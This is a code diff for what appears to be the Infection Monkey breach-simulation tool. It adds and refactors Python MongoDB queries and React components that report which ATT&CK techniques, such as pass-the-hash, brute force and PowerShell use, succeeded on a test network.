status = ScanStatus.UNSCANNED
data.update(T1003.get_message_and_status(status))
return data

View File

@ -0,0 +1,34 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1059(AttackTechnique):
tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = ""
used_msg = "Monkey successfully ran commands on exploited machines in the network."
query = [{'$match': {'telem_category': 'exploit',
'data.info.executed_cmds': {'$exists': True, '$ne': []}}},
{'$unwind': '$data.info.executed_cmds'},
{'$sort': {'data.info.executed_cmds.powershell': 1}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info'}},
{'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}},
{'$project': {'_id': 0, 'data': {'$arrayElemAt': ['$data', 0]}}}]
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1059.query))
data = {'title': T1059.technique_title(), 'cmds': cmd_data}
if cmd_data:
status = ScanStatus.USED
else:
status = ScanStatus.UNSCANNED
data.update(T1059.get_message_and_status(status))
return data

View File

@ -0,0 +1,44 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1075(AttackTechnique):
tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
used_msg = "Monkey successfully used hashed credentials."
login_attempt_query = {'data.attempts': {'$elemMatch': {'$or': [{'ntlm_hash': {'$ne': ''}},
{'lm_hash': {'$ne': ''}}]}}}
# Gets data about successful PTH logins
query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0},
'$elemMatch': {'$and': [{'$or': [{'ntlm_hash': {'$ne': ''}},
{'lm_hash': {'$ne': ''}}]},
{'result': True}]}}}},
{'$project': {'_id': 0,
'machine': '$data.machine',
'info': '$data.info',
'attempt_cnt': {'$size': '$data.attempts'},
'attempts': {'$filter': {'input': '$data.attempts',
'as': 'attempt',
'cond': {'$eq': ['$$attempt.result', True]}}}}}]
@staticmethod
def get_report_data():
data = {'title': T1075.technique_title()}
successful_logins = list(mongo.db.telemetry.aggregate(T1075.query))
data.update({'successful_logins': successful_logins})
if successful_logins:
status = ScanStatus.USED
elif mongo.db.telemetry.count_documents(T1075.login_attempt_query):
status = ScanStatus.SCANNED
else:
status = ScanStatus.UNSCANNED
data.update(T1075.get_message_and_status(status))
return data

View File

@ -0,0 +1,36 @@
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
class T1086(AttackTechnique):
tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell."
scanned_msg = ""
used_msg = "Monkey successfully ran powershell commands on exploited machines in the network."
query = [{'$match': {'telem_category': 'exploit',
'data.info.executed_cmds': {'$elemMatch': {'powershell': True}}}},
{'$project': {'machine': '$data.machine',
'info': '$data.info'}},
{'$project': {'_id': 0,
'machine': 1,
'info.finished': 1,
'info.executed_cmds': {'$filter': {'input': '$info.executed_cmds',
'as': 'command',
'cond': {'$eq': ['$$command.powershell', True]}}}}},
{'$group': {'_id': '$machine', 'data': {'$push': '$$ROOT'}}}]
@staticmethod
def get_report_data():
cmd_data = list(mongo.db.telemetry.aggregate(T1086.query))
data = {'title': T1086.technique_title(), 'cmds': cmd_data}
if cmd_data:
status = ScanStatus.USED
else:
status = ScanStatus.UNSCANNED
data.update(T1086.get_message_and_status(status))
return data

View File

@ -13,7 +13,7 @@ class T1110(AttackTechnique):
used_msg = "Monkey successfully used brute force in the network." used_msg = "Monkey successfully used brute force in the network."
# Gets data about brute force attempts # Gets data about brute force attempts
query = [{'$match': {'telem_type': 'exploit', query = [{'$match': {'telem_category': 'exploit',
'data.attempts': {'$not': {'$size': 0}}}}, 'data.attempts': {'$not': {'$size': 0}}}},
{'$project': {'_id': 0, {'$project': {'_id': 0,
'machine': '$data.machine', 'machine': '$data.machine',
@ -35,16 +35,16 @@ class T1110(AttackTechnique):
result['successful_creds'].append(T1110.parse_creds(attempt)) result['successful_creds'].append(T1110.parse_creds(attempt))
if succeeded: if succeeded:
data = T1110.get_message_and_status(T1110, ScanStatus.USED) status = ScanStatus.USED
elif attempts: elif attempts:
data = T1110.get_message_and_status(T1110, ScanStatus.SCANNED) status = ScanStatus.SCANNED
else: else:
data = T1110.get_message_and_status(T1110, ScanStatus.UNSCANNED) status = ScanStatus.UNSCANNED
data = T1110.get_message_and_status(status)
# Remove data with no successful brute force attempts # Remove data with no successful brute force attempts
attempts = [attempt for attempt in attempts if attempt['attempts']] attempts = [attempt for attempt in attempts if attempt['attempts']]
data.update({'services': attempts, 'title': T1110.technique_title(T1110.tech_id)}) data.update({'services': attempts, 'title': T1110.technique_title()})
return data return data
@staticmethod @staticmethod

View File

@ -12,14 +12,16 @@ class T1197(AttackTechnique):
@staticmethod @staticmethod
def get_report_data(): def get_report_data():
data = T1197.get_tech_base_data(T1197) data = T1197.get_tech_base_data()
bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_catagory': 'attack', 'data.technique': T1197.tech_id}}, bits_results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'attack',
{'$group': {'_id': {'ip_addr': '$data.machine.ip_addr', 'usage': '$data.usage'}, 'data.technique': T1197.tech_id}},
'ip_addr': {'$first': '$data.machine.ip_addr'}, {'$group': {'_id': {'ip_addr': '$data.machine.ip_addr',
'domain_name': {'$first': '$data.machine.domain_name'}, 'usage': '$data.usage'},
'usage': {'$first': '$data.usage'}, 'ip_addr': {'$first': '$data.machine.ip_addr'},
'time': {'$first': '$timestamp'}} 'domain_name': {'$first': '$data.machine.domain_name'},
}]) 'usage': {'$first': '$data.usage'},
'time': {'$first': '$timestamp'}}
}])
bits_results = list(bits_results) bits_results = list(bits_results)
data.update({'bits_jobs': bits_results}) data.update({'bits_jobs': bits_results})
return data return data

View File

@ -14,21 +14,22 @@ class T1210(AttackTechnique):
@staticmethod @staticmethod
def get_report_data(): def get_report_data():
data = {'title': T1210.technique_title(T1210.tech_id)} data = {'title': T1210.technique_title()}
scanned_services = T1210.get_scanned_services() scanned_services = T1210.get_scanned_services()
exploited_services = T1210.get_exploited_services() exploited_services = T1210.get_exploited_services()
if exploited_services: if exploited_services:
data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg}) status = ScanStatus.USED
elif scanned_services: elif scanned_services:
data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg}) status = ScanStatus.SCANNED
else: else:
data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg}) status = ScanStatus.UNSCANNED
data.update(T1210.get_message_and_status(status))
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
return data return data
@staticmethod @staticmethod
def get_scanned_services(): def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_catagory': 'scan'}}, results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
{'$sort': {'data.service_count': -1}}, {'$sort': {'data.service_count': -1}},
{'$group': { {'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'}, '_id': {'ip_addr': '$data.machine.ip_addr'},
@ -38,7 +39,7 @@ class T1210(AttackTechnique):
@staticmethod @staticmethod
def get_exploited_services(): def get_exploited_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_catagory': 'exploit', 'data.result': True}}, results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'exploit', 'data.result': True}},
{'$group': { {'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'}, '_id': {'ip_addr': '$data.machine.ip_addr'},
'service': {'$first': '$data.info'}, 'service': {'$first': '$data.info'},

View File

@ -46,52 +46,63 @@ class AttackTechnique(object):
""" """
pass pass
@staticmethod @classmethod
def technique_status(technique): def technique_status(cls):
""" """
Gets the status of a certain attack technique. Gets the status of a certain attack technique.
:param technique: technique's id.
:return: ScanStatus Enum object :return: ScanStatus Enum object
""" """
if mongo.db.telemetry.find_one({'telem_catagory': 'attack', 'data.status': ScanStatus.USED.value, 'data.technique': technique}): if mongo.db.attack_results.find_one({'telem_category': 'attack',
'status': ScanStatus.USED.value,
'technique': cls.tech_id}):
return ScanStatus.USED return ScanStatus.USED
elif mongo.db.telemetry.find_one({'telem_catagory': 'attack', 'data.status': ScanStatus.SCANNED.value, 'data.technique': technique}): elif mongo.db.attack_results.find_one({'telem_category': 'attack',
'status': ScanStatus.SCANNED.value,
'technique': cls.tech_id}):
return ScanStatus.SCANNED return ScanStatus.SCANNED
else: else:
return ScanStatus.UNSCANNED return ScanStatus.UNSCANNED
@staticmethod @classmethod
def get_message_and_status(technique, status): def get_message_and_status(cls, status):
return {'message': technique.get_message_by_status(technique, status), 'status': status.name} """
Returns a dict with attack technique's message and status.
@staticmethod :param status: Enum type value from common/attack_utils.py
def get_message_by_status(technique, status): :return: Dict with message and status
if status == ScanStatus.UNSCANNED: """
return technique.unscanned_msg return {'message': cls.get_message_by_status(status), 'status': status.name}
elif status == ScanStatus.SCANNED:
return technique.scanned_msg @classmethod
else: def get_message_by_status(cls, status):
return technique.used_msg """
Picks a message to return based on status.
@staticmethod :param status: Enum type value from common/attack_utils.py
def technique_title(technique): :return: message string
"""
if status == ScanStatus.UNSCANNED:
return cls.unscanned_msg
elif status == ScanStatus.SCANNED:
return cls.scanned_msg
else:
return cls.used_msg
@classmethod
def technique_title(cls):
""" """
:param technique: Technique's id. E.g. T1110
:return: techniques title. E.g. "T1110 Brute force" :return: techniques title. E.g. "T1110 Brute force"
""" """
return AttackConfig.get_technique(technique)['title'] return AttackConfig.get_technique(cls.tech_id)['title']
@staticmethod @classmethod
def get_tech_base_data(technique): def get_tech_base_data(cls):
""" """
Gathers basic attack technique data into a dict. Gathers basic attack technique data into a dict.
:param technique: Technique's id. E.g. T1110
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
""" """
data = {} data = {}
status = AttackTechnique.technique_status(technique.tech_id) status = cls.technique_status()
title = AttackTechnique.technique_title(technique.tech_id) title = cls.technique_title()
data.update({'status': status.name, data.update({'status': status.name,
'title': title, 'title': title,
'message': technique.get_message_by_status(technique, status)}) 'message': cls.get_message_by_status(status)})
return data return data

View File

@ -89,7 +89,7 @@ SCHEMA = {
"enum": [ "enum": [
"WebLogicExploiter" "WebLogicExploiter"
], ],
"title": "Oracle Web Logic Exploiter" "title": "WebLogic Exploiter"
}, },
{ {
"type": "string", "type": "string",

View File

@ -172,7 +172,7 @@ class ReportService:
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
creds = [] creds = []
for telem in mongo.db.telemetry.find( for telem in mongo.db.telemetry.find(
{'telem_catagory': 'system_info_collection', 'data.credentials': {'$exists': True}}, {'telem_category': 'system_info_collection', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1} {'data.credentials': 1, 'monkey_guid': 1}
): ):
monkey_creds = telem['data']['credentials'] monkey_creds = telem['data']['credentials']
@ -200,7 +200,7 @@ class ReportService:
""" """
creds = [] creds = []
for telem in mongo.db.telemetry.find( for telem in mongo.db.telemetry.find(
{'telem_catagory': 'system_info_collection', 'data.ssh_info': {'$exists': True}}, {'telem_category': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
{'data.ssh_info': 1, 'monkey_guid': 1} {'data.ssh_info': 1, 'monkey_guid': 1}
): ):
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
@ -221,7 +221,7 @@ class ReportService:
""" """
creds = [] creds = []
for telem in mongo.db.telemetry.find( for telem in mongo.db.telemetry.find(
{'telem_catagory': 'system_info_collection', 'data.Azure': {'$exists': True}}, {'telem_category': 'system_info_collection', 'data.Azure': {'$exists': True}},
{'data.Azure': 1, 'monkey_guid': 1} {'data.Azure': 1, 'monkey_guid': 1}
): ):
azure_users = telem['data']['Azure']['usernames'] azure_users = telem['data']['Azure']['usernames']
@ -374,7 +374,7 @@ class ReportService:
@staticmethod @staticmethod
def get_exploits(): def get_exploits():
exploits = [] exploits = []
for exploit in mongo.db.telemetry.find({'telem_catagory': 'exploit', 'data.result': True}): for exploit in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.result': True}):
new_exploit = ReportService.process_exploit(exploit) new_exploit = ReportService.process_exploit(exploit)
if new_exploit not in exploits: if new_exploit not in exploits:
exploits.append(new_exploit) exploits.append(new_exploit)
@ -383,7 +383,7 @@ class ReportService:
@staticmethod @staticmethod
def get_monkey_subnets(monkey_guid): def get_monkey_subnets(monkey_guid):
network_info = mongo.db.telemetry.find_one( network_info = mongo.db.telemetry.find_one(
{'telem_catagory': 'system_info_collection', 'monkey_guid': monkey_guid}, {'telem_category': 'system_info_collection', 'monkey_guid': monkey_guid},
{'data.network_info.networks': 1} {'data.network_info.networks': 1}
) )
if network_info is None: if network_info is None:
@ -541,7 +541,7 @@ class ReportService:
@staticmethod @staticmethod
def get_cross_segment_issues(): def get_cross_segment_issues():
scans = mongo.db.telemetry.find({'telem_catagory': 'scan'}, scans = mongo.db.telemetry.find({'telem_category': 'scan'},
{'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1})
cross_segment_issues = [] cross_segment_issues = []

View File

@ -0,0 +1,7 @@
import React from "react";
export function renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};

View File

@ -0,0 +1,26 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import '../../report-components/StolenPasswords'
import StolenPasswordsComponent from "../../report-components/StolenPasswords";
class T1003 extends React.Component {
constructor(props) {
super(props);
}
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
: ""}
</div>
);
}
}
export default T1003;

View File

@ -0,0 +1,40 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1059 extends React.Component {
constructor(props) {
super(props);
}
static getCommandColumns() {
return ([{
Header: 'Example commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<ReactTable
columns={T1059.getCommandColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
/> : ""}
</div>
);
}
}
export default T1059;

View File

@ -0,0 +1,49 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1075 extends React.Component {
constructor(props) {
super(props);
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
}
setLoginHashType(login){
if(login.attempts[0].ntlm_hash !== ""){
login.attempts[0].hashType = 'NTLM';
} else if(login.attempts[0].lm_hash !== ""){
login.attempts[0].hashType = 'LM';
}
}
static getHashColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }},
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }},
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<ReactTable
columns={T1075.getHashColumns()}
data={this.props.data.successful_logins}
showPagination={false}
defaultPageSize={this.props.data.successful_logins.length}
/> : ""}
</div>
);
}
}
export default T1075;

View File

@ -0,0 +1,40 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1086 extends React.Component {
constructor(props) {
super(props);
}
static getPowershellColumns() {
return ([{
Header: 'Example Powershell commands used',
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 },
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }},
]
}])};
render() {
return (
<div>
<div>{this.props.data.message}</div>
<br/>
{this.props.data.status === 'USED' ?
<ReactTable
columns={T1086.getPowershellColumns()}
data={this.props.data.cmds}
showPagination={false}
defaultPageSize={this.props.data.cmds.length}
/> : ""}
</div>
);
}
}
export default T1086;

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1110 extends React.Component { class T1110 extends React.Component {
@ -12,7 +13,7 @@ class T1110 extends React.Component {
static getServiceColumns() { static getServiceColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 160}, style: { 'whiteSpace': 'unset' }, width: 160},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }},
@ -23,13 +24,7 @@ class T1110 extends React.Component {
}])}; }])};
static renderCreds(creds) { static renderCreds(creds) {
return <span>{creds.map(cred => <div>{cred}</div>)}</span> return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
};
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
}; };
render() { render() {

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1210 extends React.Component { class T1210 extends React.Component {
@ -8,7 +9,7 @@ class T1210 extends React.Component {
constructor(props) { constructor(props) {
super(props); super(props);
this.columns = [ {Header: 'Machine', this.columns = [ {Header: 'Machine',
id: 'machine', accessor: x => T1210.renderMachine(x), id: 'machine', accessor: x => renderMachine(x),
style: { 'whiteSpace': 'unset' }, style: { 'whiteSpace': 'unset' },
width: 200}, width: 200},
{Header: 'Time', {Header: 'Time',
@ -21,12 +22,6 @@ class T1210 extends React.Component {
] ]
} }
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
renderExploitedMachines(){ renderExploitedMachines(){
if (this.props.data.bits_jobs.length === 0){ if (this.props.data.bits_jobs.length === 0){
return (<div />) return (<div />)

View File

@ -1,6 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine } from "./Helpers"
class T1210 extends React.Component { class T1210 extends React.Component {
@ -12,7 +13,7 @@ class T1210 extends React.Component {
static getScanColumns() { static getScanColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200}, style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }}, {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
@ -23,7 +24,7 @@ class T1210 extends React.Component {
static getExploitColumns() { static getExploitColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine), {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200}, style: { 'whiteSpace': 'unset' }, width: 200},
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170}, {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }}, {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
@ -31,12 +32,6 @@ class T1210 extends React.Component {
] ]
}])}; }])};
static renderMachine(val){
return (
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
)
};
static renderEndpoint(val){ static renderEndpoint(val){
return ( return (
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span> <span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>

View File

@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent {
href="https://cwiki.apache.org/confluence/display/WW/S2-045"> href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null } CVE-2017-5638</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ? {this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a <li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
CVE-2017-10271</a>)</li> : null }
{this.state.report.overview.issues[this.Issue.HADOOP] ? {this.state.report.overview.issues[this.Issue.HADOOP] ?
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null } <li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
@ -520,7 +518,7 @@ class ReportPageComponent extends AuthComponent {
This report shows information about ATT&CK techniques used by Infection Monkey. This report shows information about ATT&CK techniques used by Infection Monkey.
</p> </p>
<div> <div>
<AttackReport/> <AttackReport reportData={this.state.report}/>
</div> </div>
<br /> <br />
</div>) </div>)
@ -889,16 +887,15 @@ class ReportPageComponent extends AuthComponent {
generateWebLogicIssue(issue) { generateWebLogicIssue(issue) {
return ( return (
<li> <li>
Install Oracle <a href="http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"> Update Oracle WebLogic server to the latest supported version.
critical patch updates.</a> Or update to the latest version. Vulnerable versions are
10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.
<CollapsibleWellComponent> <CollapsibleWellComponent>
Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span
className="label label-danger">remote code execution</span> attack. className="label label-danger">remote code execution</span> attacks.
<br/> <br/>
The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware The attack was made possible due to one of the following vulnerabilities:
(subcomponent: WLS Security). <a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271"}> CVE-2017-10271</a> or
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725"}> CVE-2019-2725</a>
</CollapsibleWellComponent> </CollapsibleWellComponent>
</li> </li>
); );

View File

@ -2,17 +2,25 @@ import React from 'react';
import {Col} from 'react-bootstrap'; import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions'; import {edgeGroupToColor, options} from 'components/map/MapOptions';
import '../../styles/Collapse.scss';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import Collapse from '@kunukn/react-collapse'; import Collapse from '@kunukn/react-collapse';
import T1210 from '../attack/techniques/T1210'; import T1210 from '../attack/techniques/T1210';
import T1197 from '../attack/techniques/T1197'; import T1197 from '../attack/techniques/T1197';
import T1110 from '../attack/techniques/T1110'; import T1110 from '../attack/techniques/T1110';
import '../../styles/Collapse.scss' import T1075 from "../attack/techniques/T1075";
import T1003 from "../attack/techniques/T1003";
import T1059 from "../attack/techniques/T1059";
import T1086 from "../attack/techniques/T1086";
const tech_components = { const tech_components = {
'T1210': T1210, 'T1210': T1210,
'T1197': T1197, 'T1197': T1197,
'T1110': T1110 'T1110': T1110,
'T1075': T1075,
'T1003': T1003,
'T1059': T1059,
'T1086': T1086
}; };
const classNames = require('classnames'); const classNames = require('classnames');
@ -99,7 +107,7 @@ class AttackReportPageComponent extends AuthComponent {
const TechniqueComponent = tech_components[technique]; const TechniqueComponent = tech_components[technique];
return ( return (
<div className={`content ${collapseState}`}> <div className={`content ${collapseState}`}>
<TechniqueComponent data={this.state.report[technique]} /> <TechniqueComponent data={this.state.report[technique]} reportData={this.props.reportData}/>
</div> </div>
); );
} }